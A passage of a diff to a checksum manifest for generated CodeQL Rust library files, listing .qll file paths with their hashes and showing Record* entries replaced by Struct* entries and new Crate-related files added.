 lib/codeql/rust/elements/internal/UseTreeListImpl.qll 6cac5242f1219df0fe9b3c139db8cc075a2fde618614ca56de2c856130a8ebaa d2ec917055a45f4d07d4ea6dff14298925ae323b165a5bcb6e906f7aad463f82
 lib/codeql/rust/elements/internal/VariantConstructor.qll 0297d4a9a9b32448d6d6063d308c8d0e7a067d028b9ec97de10a1d659ee2cfdd 6a4bee28b340e97d06b262120fd39ab21717233a5bcc142ba542cb1b456eb952
+lib/codeql/rust/elements/internal/VariantDefImpl.qll 5530c04b8906d2947ec9c79fc17a05a2557b01a521dd4ca8a60518b78d13867b 3971558e1c907d8d2ef174b10f911e61b898916055a8173788e6f0b98869b144
 lib/codeql/rust/elements/internal/VariantListConstructor.qll c841fb345eb46ea3978a0ed7a689f8955efc9178044b140b74d98a6bcd0c926a c9e52d112abdba2b60013fa01a944c8770766bf7368f9878e6b13daaa4eed446
 lib/codeql/rust/elements/internal/VariantListImpl.qll 858f3668f53d8b6aacb2715a59509969fe9fd24c5a2ff0b5ceed8a2441cd9cf7 f2a57b6232247687f529be8e4d2d3d0d4d108221d8a6eb45a69a1bcc0cdc51de
 lib/codeql/rust/elements/internal/VisibilityConstructor.qll 1fd30663d87945f08d15cfaca54f586a658f26b7a98ea45ac73a35d36d4f65d0 6ddaf11742cc8fbbe03af2aa578394041ae077911e62d2fa6c885ae0543ba53a
@@ -476,11 +479,11 @@ lib/codeql/rust/elements/internal/generated/AsmOption.qll d2de2db0f17d55e253f9ca
 lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll 43f6f378ac9f88b457096093bedae7d65c3f5c6fa1d5cf83245296ae076a52f0 a632a6a5c7534067e5380b06d5975dbbb4f2ee8155af5c9d79be9f520ff4dbfb
 lib/codeql/rust/elements/internal/generated/AsmPiece.qll 17f425727781cdda3a2ec59e20a70e7eb14c75298298e7a014316593fb18f1f9 67656da151f466288d5e7f6cd7723ccb4660df81a9414398c00f7a7c97a19163
 lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll 09a8bafe06287f7d6a186a4d3e9db9a7b1038b800ae117ed4ec40d8618d20837 7cb8bf72a6cbc537ef94ef07133e7803a8ef5d391159a5bbbf6b0e36a3378269
-lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll 082a4bdb831c3530bd20440551d9216970a01b3e623d7d07e042dc660fc4697a aa2415338805b7394d4a064c0a51e6147bd007aadf1798030e8456e16d6fead3
+lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll 9a8003554d574dfb0bae899a1af537c41e445b9eaa245dfc046e6a0813dfa503 c5260bc88bb1fe8b4bd431ce27d95ee91255d06dfa62eeb854b97e959a3f4b71
 lib/codeql/rust/elements/internal/generated/AsmSym.qll 9a535efdb6ed0a46a6a0054b91afb1880c9fed8dd841f934a285870aa9a882dd 861c4038d1e86364884cc1ea6d08e0aaf7f278dc15707f69ac0606d94866fdea
 lib/codeql/rust/elements/internal/generated/AssocItem.qll aa7c06e001b67e4a59476fa7299e09f8da16c93f91aff0ec9812c64386e7c023 0032b45e34e6aba9c4b3d319b108efa0de8ad679b5f254a1ec7c606877ff5e95
 lib/codeql/rust/elements/internal/generated/AssocItemList.qll c53d95395352bb3568198fd18da62e23511c64f19b5aaae4122bd696d402ebf5 3c244f2f0f053903576cdf2b1a15874dee0371caf9fecb5353aceab3c403f532
-lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll 9a1fef9d51764a5647e540eb5c07b00c5e4738cd12efc887f05ac74962a15a25 ac564fbd6be444faa3b675c3ec3f979b6c72ebadcdd98a92febf3d83231d8982
+lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll 26a84e6e8d1d886d749bf6504d084ee392cd6d51c377af0628dbf675e85d174f 96a571ee8687139c3e9c57cbae0da3136e082e9aa715a025eebbb776e120c417
 lib/codeql/rust/elements/internal/generated/AstNode.qll 1cbfae6a732a1de54b56669ee69d875b0e1d15e58d9aa621df9337c59db5619d 37e16a0c70ae69c5dc1b6df241b9acca96a6326d6cca15456699c44a81c93666
 lib/codeql/rust/elements/internal/generated/Attr.qll 2e7983b2c462750065ed58cc10c62e42012ddf0dd32f5439df7c6d6bf8ff349d e8270d33a50f088a83a2dfaa5b0a63ec775a6c97c8bf3a9383ce7a1ba8fe8fa3
 lib/codeql/rust/elements/internal/generated/AwaitExpr.qll 1d71af702a1f397fb231fae3e0642b3deeba0cd5a43c1d8fabdff29cac979340 e0bfa007bdecc5a09a266d449d723ae35f5a24fbdfc11e4e48aeea3ec0c5147c
@@ -501,18 +504,19 @@ lib/codeql/rust/elements/internal/generated/ConstArg.qll e2451cac6ee464f5b64883d
 lib/codeql/rust/elements/internal/generated/ConstBlockPat.qll 7526d83ee9565d74776f42db58b1a2efff6fb324cfc7137f51f2206fee815d79 0ab3c22908ff790e7092e576a5df3837db33c32a7922a513a0f5e495729c1ac5
 lib/codeql/rust/elements/internal/generated/ConstParam.qll 310342603959a4d521418caec45b585b97e3a5bf79368769c7150f52596a7266 a5dd92f0b24d7dbdaea2daedba3c8d5f700ec7d3ace81ca368600da2ad610082
 lib/codeql/rust/elements/internal/generated/ContinueExpr.qll e2010feb14fb6edeb83a991d9357e50edb770172ddfde2e8670b0d3e68169f28 48d09d661e1443002f6d22b8710e22c9c36d9daa9cde09c6366a61e960d717cb
+lib/codeql/rust/elements/internal/generated/Crate.qll d245f24e9da4f180c526a6d092f554a9577bae7225c81c36a391947c0865eeb3 c95dbb32b2ce4d9664be56c95b19fcd01c2d3244385e55151f9b06b07f04ce9b
 lib/codeql/rust/elements/internal/generated/DynTraitTypeRepr.qll a9d540717af1f00dbea1c683fd6b846cddfb2968c7f3e021863276f123337787 1972efb9bca7aae9a9708ca6dcf398e5e8c6d2416a07d525dba1649b80fbe4d1
-lib/codeql/rust/elements/internal/generated/Element.qll fb483b636180c699181c8aff83bc471b2c416206694f7028c671015918547663 542d1b9ae80c997974c94db3655887186df3921a8fa3f565eaf292dcfdac3c4c
+lib/codeql/rust/elements/internal/generated/Element.qll 69ce882811f2bef7e0a93c0a24494dd16120a108ba4180d455344e29144a98c4 7781bc5c69b5b08775902fcb97cb23f85359ef2303545afe9d44301b19024b3a
 lib/codeql/rust/elements/internal/generated/Enum.qll 4f4cbc9cd758c20d476bc767b916c62ba434d1750067d0ffb63e0821bb95ec86 3da735d54022add50cec0217bbf8ec4cf29b47f4851ee327628bcdd6454989d0
 lib/codeql/rust/elements/internal/generated/Expr.qll 5fa34f2ed21829a1509417440dae42d416234ff43433002974328e7aabb8f30f 46f3972c7413b7db28a3ea8acb5a50a74b6dd9b658e8725f6953a8829ac912f8
 lib/codeql/rust/elements/internal/generated/ExprStmt.qll d1112230015fbeb216b43407a268dc2ccd0f9e0836ab2dca4800c51b38fa1d7d 4a80562dcc55efa5e72c6c3b1d6747ab44fe494e76faff2b8f6e9f10a4b08b5b
 lib/codeql/rust/elements/internal/generated/ExternBlock.qll c292d804a1f8d2cf6a443be701640c4e87410662921e026d3553bc624fd18abd ba6fae821d2502a97dec636e2d70476ad0693bc6185ae50e8391699529bd0ee0
-lib/codeql/rust/elements/internal/generated/ExternCrate.qll 35fea4e810a896c1656adb4682c4c3bc20283768073e26ae064189ce310433c8 fc504dff79ba758d89b10cd5049539fbc766ee9862ff495066cea26abf0b5e0b
+lib/codeql/rust/elements/internal/generated/ExternCrate.qll 0cfda7daab7ecbaaab90238f947050a59e3bd0627cbde496b7418300c76358a5 7cb17b4d1b8d206fcb799c71cf123390a9f9a10f65778b581fe82cf2a456cf33
 lib/codeql/rust/elements/internal/generated/ExternItem.qll 749b064ad60f32197d5b85e25929afe18e56e12f567b73e21e43e2fdf4c447e3 e2c2d423876675cf2dae399ca442aef7b2860319da9bfadeff29f2c6946f8de7
 lib/codeql/rust/elements/internal/generated/ExternItemList.qll 6bc97fdae6c411cab5c501129c1d6c2321c1011cccb119515d75d07dc55c253b 6b5aa808025c0a4270cac540c07ba6faede1b3c70b8db5fd89ec5d46df9041b2
 lib/codeql/rust/elements/internal/generated/ExtractorStep.qll 61cd504a1aab98b1c977ee8cff661258351d11ca1fec77038c0a17d359f5810e 5e57b50f3e8e3114a55159fb11a524c6944363f5f8a380abccc8b220dedc70ca
-lib/codeql/rust/elements/internal/generated/FieldExpr.qll 3e506b5cb93793ec30f56bb637a600db869fcba6181b068516a671d55c362739 7bbf953696d763ad6b210f378f487ba85b875fa115b22c0c0508599a63633502
-lib/codeql/rust/elements/internal/generated/FieldList.qll 43c13c6e3c9ba75a7a4cb870fc4f18752001584d48b9df0734055a6ebb789331 7c51b0b13eb02f1286d3365e53a976ba2655c4dbd8e735bc11c8b205c829e1ee
+lib/codeql/rust/elements/internal/generated/FieldExpr.qll d6077fcc563702bb8d626d2fda60df171023636f98b4a345345e131da1a03dfc 03f9eb65abfab778e6d2c7090c08fe75c38c967302f5a9fa96ab0c24e954929d
+lib/codeql/rust/elements/internal/generated/FieldList.qll 575cfd2705113ad5eaf5885cfbcae8b4cb74c4f1192c9905ceb63992187061ad d6571e4238527e93681be4182cc8da35b002e768fbb727b36860c91557e3f430
 lib/codeql/rust/elements/internal/generated/FnPtrTypeRepr.qll d490ab9f2e3654d9abde18a06e534abd99ca62f518ca08670b696a97e9d5c592 01500319820f66cb4bbda6fe7c26270f76ea934efff4bb3cbf88e9b1e07e8be2
 lib/codeql/rust/elements/internal/generated/ForExpr.qll 6c1838d952be65acaa9744736e73d9bfdcf58d7b392394223bf6fbfdcc172906 44237a248a5aa326a2544e84bc77f536f118f57a98c51562b71ddc81edfcccb8
 lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll 3027879795a6be5bfb370b8c2231b579f9df8afde54345416c6ce2c64bd3dfec f871d73b36f079f473915db298951020e5a05bb5e8e4d570822063afb4807559
@@ -525,7 +529,7 @@ lib/codeql/rust/elements/internal/generated/Function.qll 6c04fffdc9de54cd01ff76f
 lib/codeql/rust/elements/internal/generated/GenericArg.qll 464da0ba1c5ddcd1be68617167f177773d99b5ac4775ec8ea24d503e789a9099 6faa1033d59baf7c210ac4837a55781cfc054b7acbad8027faf4630dbfa6e101
 lib/codeql/rust/elements/internal/generated/GenericArgList.qll b8cd936bba6f28344e28c98acf38acb8ef43af6ecf8367d79ed487e5b9da17cb 8b14331261e49d004807285b02fca190aafd62bfb9378b05c7d9c1e95525fe7b
 lib/codeql/rust/elements/internal/generated/GenericParam.qll a0285123f974f287154b706bf6688b86edf72a4adcec57346c654d962435651b b42c3915e9564b5b5c5282229bf882aa3309de26a77721b2255d6f4235c0cc38
-lib/codeql/rust/elements/internal/generated/GenericParamList.qll f2d8945bc70cda6929bb6b652f9e3c7707e73fb5e778b21e99dbac594e71285f 7b97da5b6a6504377456bedebddc293d714f90e8fc2ce64199656666d5f749af
+lib/codeql/rust/elements/internal/generated/GenericParamList.qll b18fa5fd435d94857c9863bbcc40571af0b1efba1b31ba9159c95568f5c58fce 6e70f1e9a1823d28d60e0e753ac8fbbe8deb10c94365f893b0c8f8ea4061b460
 lib/codeql/rust/elements/internal/generated/IdentPat.qll 1fe5061759848fdc9588b27606efb1187ce9c13d12ad0a2a19666d250dd62db3 87dbc8b88c31079076a896b48e0c483a600d7d11c1c4bf266581bdfc9c93ae98
 lib/codeql/rust/elements/internal/generated/IfExpr.qll 413dd7a20c6b98c0d2ad2e5b50981c14bf96c1a719ace3e341d78926219a5af7 c9a2d44e3baa6a265a29a683ca3c1683352457987c92f599c5771b4f3b4bafff
 lib/codeql/rust/elements/internal/generated/Impl.qll 863281820a933a86e6890e31a250f6a8d82ffc96c8b0fa9ff3884548f89d57b5 85fdb5c18db98dd15b74fed5a7547cb6e4db58ab2b9573d0a5cf15a9a2033653
@@ -560,11 +564,12 @@ lib/codeql/rust/elements/internal/generated/MatchArmList.qll 13362680c037fe83fef
 lib/codeql/rust/elements/internal/generated/MatchExpr.qll b686842e7000fd61e3a0598bf245fb4e18167b99eca9162fdfdff0b0963def22 00f1743b1b0f1a92c5a687f5260fda02d80cc5871694cad0d5e7d94bac7fe977
 lib/codeql/rust/elements/internal/generated/MatchGuard.qll 521a507883963106780f1782084c581fbcf1179863c7c15438c4db79e30e78dd 6226feffaaa8d828a42ece0c693e616cd375672eb987c3b7ff1ca15fa23c116a
 lib/codeql/rust/elements/internal/generated/Meta.qll 38fca2c9958b4179de311546fe0850319010aca9cd17c97d57e12b521c5d0947 740f99c9d41044ceebfcc9d29baaa22f59c11a40f45502a34aa587d423c018f8
-lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll 17bffcc826851a8be32a1900b8fdf777f9bab6aed9f8268d566173c4974c1cf9 134a2860bdf16daafdb3e574c52a69d2598210653db89c2fa062ca25e8f8a649
+lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll 816267f27f990d655f1ef2304eb73a9468935ffbfddd908773a77fa3860bb970 adda2574300a169a13ea9e33af05c804bf00868d3e8930f0f78d6a8722ad688d
 lib/codeql/rust/elements/internal/generated/Missing.qll 16735d91df04a4e1ae52fae25db5f59a044e540755734bbab46b5fbb0fe6b0bd 28ca4e49fb7e6b4734be2f2f69e7c224c570344cc160ef80c5a5cd413e750dad
 lib/codeql/rust/elements/internal/generated/Module.qll ebae5d8963c9fd569c0fbad1d7770abd3fd2479437f236cbce0505ba9f9af52c fa3c382115fed18a26f1a755d8749a201b9489f82c09448a88fb8e9e1435fe5f
 lib/codeql/rust/elements/internal/generated/Name.qll 12aad57744b7d1b04454159536409244c47319aedd580acb58ee93ef9d7f837d 63fc67ccc085db22f82576a53489f15216a7c29d5b941b14a965eab481534e2e
 lib/codeql/rust/elements/internal/generated/NameRef.qll beaeffed918b821bd797b0752453f6f35adcaa046b01e39f95a35dca93a5c257 5aee4e4e700f97af2035406c641f375bf0dcac6f3002ae9d4ffabe0da2ddd176
+lib/codeql/rust/elements/internal/generated/NamedCrate.qll e190dd742751ea2de914d0750c93fcad3100d3ebb4e3f47f6adc0a7fa3e7932c 755ead62328df8a4496dc4ad6fea7243ab6144138ed62d7368fa53737eef5819
 lib/codeql/rust/elements/internal/generated/NeverTypeRepr.qll c601b228a6359f809425ad43b46c1c444c9826652b07f8facc6f9729df268285 23b53bb1d826a8b54b68bd4f138ebaabeeb2f56392c882b32417eff388aa80cc
 lib/codeql/rust/elements/internal/generated/OffsetOfExpr.qll c86eecd11345a807571542e220ced8ccc8bb78f81de61fff6fc6b23ff379cd12 76a692d3ad5e26751e574c7d9b13cf698d471e1783f53a312e808c0b21a110ab
 lib/codeql/rust/elements/internal/generated/OrPat.qll 0dc6bd6ada8d11b7f708f71c8208fc2c28629e9c265c3df3c2dc9bea30de5afa 892119fc1de2e3315489203c56ee3ed3df8b9806e927ee58aa6083e5b2156dab
@@ -574,30 +579,22 @@ lib/codeql/rust/elements/internal/generated/ParamList.qll c808c9d84dd7800573832b
 lib/codeql/rust/elements/internal/generated/ParenExpr.qll bc0731505bfe88516205ec360582a4222d2681d11342c93e15258590ddee82f2 d4bd6e0c80cf1d63746c88d4bcb3a01d4c75732e5da09e3ebd9437ced227fb60
 lib/codeql/rust/elements/internal/generated/ParenPat.qll 4f168ef5d5bb87a903251cc31b2e44a759b099ec69c90af31783fbb15778c940 0e34f94a45a13396fd57d94c245dc64d1adde2ab0e22b56946f7e94c04e297fc
 lib/codeql/rust/elements/internal/generated/ParenTypeRepr.qll 40ab5c592e7699c621787793743e33988de71ff42ca27599f5ab3ddb70e3f7d8 12c0a6eed2202ee3e892f61da3b3ce77ac3190854cdf3097e8d2be98aa3cb91d
-lib/codeql/rust/elements/internal/generated/ParentChild.qll 1df63bfa8268f7db25eab70abedb8d424d892b56e92ceee8c7900cd33b1af07f cfa3d31a89303e60f4ed60ed5ca5fd04973202828aa674205d333f9fa784705f
+lib/codeql/rust/elements/internal/generated/ParentChild.qll 3a9dd595f34bc5841d21f91882b01f2882b18b70e8c718e81d491b4b33bad82b fb40a76aff319ec5f7dae9a05da083b337887b0918b3702641b39342213ddf6f
 lib/codeql/rust/elements/internal/generated/ParenthesizedArgList.qll c5fa328ea60d3a3333d7c7bb3480969c1873166c7ac8ebb9d0afad7a8099d1a8 2dbbb6200d96f7db7dea4a55bdeab8d67b14d39a43e0bd54ada019f7e466f163
 lib/codeql/rust/elements/internal/generated/Pat.qll 3605ac062be2f294ee73336e9669027b8b655f4ad55660e1eab35266275154ee 7f9400db2884d336dd1d21df2a8093759c2a110be9bf6482ce8e80ae0fd74ed4
-lib/codeql/rust/elements/internal/generated/Path.qll 8e47e91aff3f8c60f1ee8cb3887b8e4936c38e4665d052f2c92a939a969aac29 2c28beb89cabd7c7c91a5bc65c874f414cb96bbefde37b25811b61089a8a0053
+lib/codeql/rust/elements/internal/generated/Path.qll 9b12afb46fc5a9ad3a811b05472621bbecccb900c47504feb7f29d96b28421ca bcacbffc36fb3e0c9b26523b5963af0ffa9fd6b19f00a2a31bdb2316071546bd
 lib/codeql/rust/elements/internal/generated/PathAstNode.qll e6d4d5bffd3c623baaaee46bc183eb31ce88795535f164f6a9b9b4d98bbd6101 168db515404933479ba6b150c72e012d28592cbc32366aefcb1bf9599dbcd183
 lib/codeql/rust/elements/internal/generated/PathExpr.qll 34ebad4d062ce8b7e517f2ab09d52745fb8455203f4a936df7284ad296638387 ba66781cdbdeb89c27a4bfb2be0f27f85fb34978d699b4e343446fb0d7ad2aa6
 lib/codeql/rust/elements/internal/generated/PathExprBase.qll d8218e201b8557fa6d9ca2c30b764e5ad9a04a2e4fb695cc7219bbd7636a6ac2 4ef178426d7095a156f4f8c459b4d16f63abc64336cb50a6cf883a5f7ee09113
 lib/codeql/rust/elements/internal/generated/PathPat.qll 003d10a4d18681da67c7b20fcb16b15047cf9cc4b1723e7674ef74e40589cc5a 955e66f6d317ca5562ad1b5b13e1cd230c29e2538b8e86f072795b0fdd8a1c66
-lib/codeql/rust/elements/internal/generated/PathSegment.qll 10cad4c93ef8046b757c1dd9f0eb7be2d53117159ebc7c43eb071f182bff7c4b 189de31d2dc4ef76859509ce06dfab7aa58b2114176c04140bd2841c425d5b5f
+lib/codeql/rust/elements/internal/generated/PathSegment.qll bd7633916e407673c6c4e2c6e5cfb01b42c9d2cd4ec7291f676e63350af26bb8 3c75d01a6dac7e4bc5cdf6fc8b62ad2eb863c90615dcdad19a3d3b26f475b5e6
 lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b847fabe7059485c5194cbc144f38dae2433057771ff10fe0b6ae9876b33afd4 ee2fdcd86d78c389a2276ebe7e889f042b7bb39c3c611f56b951591600a60e8a
 lib/codeql/rust/elements/internal/generated/PrefixExpr.qll c9ede5f2deb7b41bc8240969e8554f645057018fe96e7e9ad9c2924c8b14722b 5ae2e3c3dc8fa73e7026ef6534185afa6b0b5051804435d8b741dd3640c864e1
 lib/codeql/rust/elements/internal/generated/PtrTypeRepr.qll 51d1e9e683fc79dddbffadee9015b5351bf03ce48f879da98b1f6931a61166f8 122a9c4887aa24e3f3a587b2f37c4db32633f56df3c8b696db4b8a609d9d4a98
 lib/codeql/rust/elements/internal/generated/PureSynthConstructors.qll e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f e5b8e69519012bbaae29dcb82d53f7f7ecce368c0358ec27ef6180b228a0057f
 lib/codeql/rust/elements/internal/generated/RangeExpr.qll 23cca03bf43535f33b22a38894f70d669787be4e4f5b8fe5c8f7b964d30e9027 18624cef6c6b679eeace2a98737e472432e0ead354cca02192b4d45330f047c9
 lib/codeql/rust/elements/internal/generated/RangePat.qll 80826a6a6868a803aa2372e31c52a03e1811a3f1f2abdb469f91ca0bfdd9ecb6 34ee1e208c1690cba505dff2c588837c0cd91e185e2a87d1fe673191962276a9
-lib/codeql/rust/elements/internal/generated/Raw.qll 17037cbf4b911c74b45453d733726218512c5c8f5e890a6f0e3290fab894a237 5fb11b239f210c30823b8862385f8b9f459ef8b62d47b6b50ba560e4ce2cac7c
-lib/codeql/rust/elements/internal/generated/RecordExpr.qll 2131b2cb336caa76170082e69776011bf02576bbfdd34ba68ca84af24209250a 39a2e3ec32352b594c43cc1295e0e8b3f9808173322d3d73cb7d48ef969d5565
-lib/codeql/rust/elements/internal/generated/RecordExprField.qll 7e9f8663d3b74ebbc9603b10c9912f082febba6bd73d344b100bbd3edf837802 fbe6b578e7fd5d5a6f21bbb8c388957ab7210a6a249ec71510a50fb35b319ea1
-lib/codeql/rust/elements/internal/generated/RecordExprFieldList.qll 179a97211fe7aa6265085d4d54115cdbc0e1cd7c9b2135591e8f36d6432f13d3 dd44bbbc1e83a1ed3a587afb729d7debf7aeb7b63245de181726af13090e50c0
-lib/codeql/rust/elements/internal/generated/RecordField.qll 6d4b184c85419f9282937ebd1b1d14930a263e8754124f2323953991ca0f0e59 2f8bec227f960ae98fc320a65efdfdc5dc04455cd59697e2621585e5a5f942b8
-lib/codeql/rust/elements/internal/generated/RecordFieldList.qll d7bb2677338cf420b0d6371aeec781aacc2272c73413ea96b7418177ad149fb9 5ef52074b9f4ec31e7422b70efdb2e650d673b2625efdfec18a4e48c30e35cf6
-lib/codeql/rust/elements/internal/generated/RecordPat.qll f2ce392fb7e481a139ea527ad32d1c7ba65404a05efc56f5c68ce1e8e1e0a928 9710048cd1e6b26b3054ac95778e47f16cff6424bab9ef0c099c1109ef14741f
-lib/codeql/rust/elements/internal/generated/RecordPatField.qll 5bf624d22903fb874e6d03541cf453493badd382b6910ce950ad0d34dd580e9a b9ec89b69a58b9c418405efa9b0e6ee7b07616f5696a0858583a339d657b5855
-lib/codeql/rust/elements/internal/generated/RecordPatFieldList.qll a6db0cdcc3da667c52862ed940597d899383ccf2bda9bb3f62b8ce9f48119307 99fe972c80db8f28e2a6f56cf2a11c98183244229da117320cc86c7ade62bd0b
+lib/codeql/rust/elements/internal/generated/Raw.qll 4a73b51a4e7c995c42d68cf64ff8aff351d898f306ceedf70a009bf86bbf7d84 f7ccdbc4841d87dae7bbf6f58556901176c930a9a797a59dbc04269ca3b516ce
 lib/codeql/rust/elements/internal/generated/RefExpr.qll 7d995884e3dc1c25fc719f5d7253179344d63650e217e9ff6530285fe7a57f64 f2c3c12551deea4964b66553fb9b6423ee16fec53bd63db4796191aa60dc6c66
 lib/codeql/rust/elements/internal/generated/RefPat.qll 456ede39837463ee22a630ec7ab6c8630d3664a8ea206fcc6e4f199e92fa564c 5622062765f32930465ba6b170e986706f159f6070f48adee3c20e24e8df4e05
 lib/codeql/rust/elements/internal/generated/RefTypeRepr.qll 3d8c0bd296d33b91a81633f697a43269a6538df06d277262d3990d3f6880ef57 13680f39e89bcd8299c218aba396f3deec804597e6f7cb7d4a7e7c748b6faa77
@@ -614,9 +611,17 @@ lib/codeql/rust/elements/internal/generated/SourceFile.qll 55d44c9f09c5ff28c4f71
 lib/codeql/rust/elements/internal/generated/Static.qll 0b336767104d2b852b9acd234a6b15bd1bb21c2c081895127529325164892435 a2c69c8db65e4137b227980ea22a967ada0b32d0cd21f011e8ca8cdf7d3f1459
 lib/codeql/rust/elements/internal/generated/Stmt.qll 8473ff532dd5cc9d7decaddcd174b94d610f6ca0aec8e473cc051dad9f3db917 6ef7d2b5237c2dbdcacbf7d8b39109d4dc100229f2b28b5c9e3e4fbf673ba72b
 lib/codeql/rust/elements/internal/generated/StmtList.qll a667193e32341e17400867c6e359878c4e645ef9f5f4d97676afc0283a33a026 a320ed678ee359302e2fc1b70a9476705cd616fcfa44a499d32f0c7715627f73
-lib/codeql/rust/elements/internal/generated/Struct.qll 4d57f0db12dc7ad3e31e750a24172ef1505406b4dab16386af0674bd18bf8f4b 1a73c83df926b996f629316f74c61ea775be04532ab61b56af904223354f033e
-lib/codeql/rust/elements/internal/generated/Synth.qll a00cdbb2ba5213976055f2339ae8bb01a42fdae22c355f171aa2ddfbbd7ec200 f49fbdcc7ab69258e3a86039a95d17b069e64922cc6a32a872dc696067b65507
-lib/codeql/rust/elements/internal/generated/SynthConstructors.qll 0d7929ad8c03e683500c64d1cfff73da518be9836a5d32e44d2f311fb4ae1b96 0d7929ad8c03e683500c64d1cfff73da518be9836a5d32e44d2f311fb4ae1b96
+lib/codeql/rust/elements/internal/generated/Struct.qll b54a48c32d99345f22f189da87ff5a27f8b1e8ca78e740ba38d2b4766f280eaa c4bd85920ed3409c48eec9eed6e2e902f9694a3aa6e43222bbe5085f9663c22a
+lib/codeql/rust/elements/internal/generated/StructExpr.qll c6d861eaa0123b103fd9ffd2485423419ef9b7e0b4af9ed2a2090d8ec534f65d 50da99ee44771e1239ed8919f711991dd3ec98589fbe49b49b68c88074a07d74
+lib/codeql/rust/elements/internal/generated/StructExprField.qll 6bdc52ed325fd014495410c619536079b8c404e2247bd2435aa7685dd56c3833 501a30650cf813176ff325a1553da6030f78d14be3f84fea6d38032f4262c6b0
+lib/codeql/rust/elements/internal/generated/StructExprFieldList.qll b19b6869a6828c7a39a7312539eb29fd21734ff47dfd02281de74194fd565d7e 3cadebffaa937e367a5e1da6741e4e9e5c9a9c7f7555e28cfa70639afd19db7c
+lib/codeql/rust/elements/internal/generated/StructField.qll bcbaa836d9b9889c87ba57c6ea733cdc85425168d9df05aca5cfd051851d8cd1 a17034896bc7fa25c84e40b460109d122ca1e85632cf8ac620f66f3eb0ff81b5
+lib/codeql/rust/elements/internal/generated/StructFieldList.qll 8911a44217d091b05f488da4e012cb026aed0630caa84ca301bbcbd054c9a28c a433383fea7e42f20750aa43e6070c23baad761a4264be99257541c1004ead31
+lib/codeql/rust/elements/internal/generated/StructPat.qll c76fa005c2fd0448a8803233e1e8818c4123301eb66ac5cf69d0b9eaafc61e98 6e0dffccdce24bca20e87d5ba0f0995c9a1ae8983283e71e7dbfcf6fffc67a58
+lib/codeql/rust/elements/internal/generated/StructPatField.qll 5b5c7302dbc4a902ca8e69ff31875c867e295a16a626ba3cef29cd0aa248f179 4e192a0df79947f5cb0d47fdbbba7986137a6a40a1be92ae119873e2fad67edf
+lib/codeql/rust/elements/internal/generated/StructPatFieldList.qll e34c003e660ba059ba81bb73b3c8d21bd2a47d0251569c46277dc9ccf2947b0a 85113f35ba5f6b9e01ad4072246a4de1ac0e4528348ac564868e96f34a3e09e2
+lib/codeql/rust/elements/internal/generated/Synth.qll 409b9ae5c78f47f271eb05a9eb7043df6cd6ca35ce381843714667f1f2dfdf9a aa4d5082abccd7cd47a493447eea79b0a3ff81439c333f05087030e76f0fa8e5
+lib/codeql/rust/elements/internal/generated/SynthConstructors.qll fe007cf6eab5f0cf89ea1ea91e1f9b23e0fcf0f2872f52ef352584503f90aa29 fe007cf6eab5f0cf89ea1ea91e1f9b23e0fcf0f2872f52ef352584503f90aa29
 lib/codeql/rust/elements/internal/generated/Token.qll 77a91a25ca5669703cf3a4353b591cef4d72caa6b0b9db07bb9e005d69c848d1 2fdffc4882ed3a6ca9ac6d1fb5f1ac5a471ca703e2ffdc642885fa558d6e373b
 lib/codeql/rust/elements/internal/generated/TokenTree.qll 8577c2b097c1be2f0f7daa5acfcf146f78674a424d99563e08a84dd3e6d91b46 d2f30764e84dbfc0a6a5d3d8a5f935cd432413688cb32da9c94e420fbc10665c
 lib/codeql/rust/elements/internal/generated/Trait.qll 8fa41b50fa0f68333534f2b66bb4ec8e103ff09ac8fa5c2cc64bc04beafec205 ce1c9aa6d0e2f05d28aab8e1165c3b9fb8e24681ade0cf6a9df2e8617abeae7e
@@ -628,7 +633,7 @@ lib/codeql/rust/elements/internal/generated/TupleFieldList.qll 9d4981d04c2ee005e
 lib/codeql/rust/elements/internal/generated/TuplePat.qll 4e13b509e1c9dd1581a9dc50d38e0a6e36abc1254ea9c732b5b3e6503335afeb 298028df9eb84e106e625ed09d6b20038ad47bfc2faf634a0ffea50b17b5805d
 lib/codeql/rust/elements/internal/generated/TupleStructPat.qll 6539d0edbdc16e7df849514d51980d4cd1a2c9cbb58ca9e5273851f96df4eb36 45a13bae5220d5737cbd04713a17af5b33d8bb4cfdf17ddd64b298ab0c1eea24
 lib/codeql/rust/elements/internal/generated/TupleTypeRepr.qll dc494a783c495c96f2498230d160b59117cfa96d927861cd9d76676fefac8fb2 47da01697f143d4077978594b0c2f4c4bc5e92823dfcaad3ce8ab91725a536a3
-lib/codeql/rust/elements/internal/generated/TypeAlias.qll 56162d01356f018a3acf20b79dcc49a939ebf4f422939fae6a20b91cbbda8564 903b61117f4caa362a350a9cbec701aa59eb2052aff848999ebfaaf574e02352
+lib/codeql/rust/elements/internal/generated/TypeAlias.qll 76f2ed5427077a5a4723285410740aeba01886ff1499d603cfeb735fc58ec580 b713c0ee40c959dff01b0f936552e6253634bb5ae152315f0949ecc88cb0dcce
 lib/codeql/rust/elements/internal/generated/TypeArg.qll e76ea103f7e9ead3be2c34718270d6893ca1980ee31e32ec19a92381e0040d73 9f2ea2d9434d57d7e3223e5d9d7662047e38bda26112751e122e2c1d03549eb5
 lib/codeql/rust/elements/internal/generated/TypeBound.qll 28896d40ecb222ca0f42635a5820034755ea05d9d6c181455e7f5ac31f9d6139 87cc25695a256d9ab3cf9077a6a5602320ce7cc958248296420c937d9cf477ca
 lib/codeql/rust/elements/internal/generated/TypeBoundList.qll 31881cae2f71df5adf7a427357565bc0e7ba58c6a774a9d5835560a34c4db30f 1ff36ba34dd966d945d743781e3a1cccad4bb9fd5d32902dfd0bcad537501a85
@@ -637,13 +642,14 @@ lib/codeql/rust/elements/internal/generated/TypeRepr.qll 1e7b9d2ddab86e35dad7c31
 lib/codeql/rust/elements/internal/generated/UnderscoreExpr.qll b3780c99c5d57159bef4c6bd2fd8ec44ebd1854c892c1ca776c740f71249e58c 2fd451cbf0a779e8042e439882e7d9cadc19d1e596df3bbb086d16f2596407c7
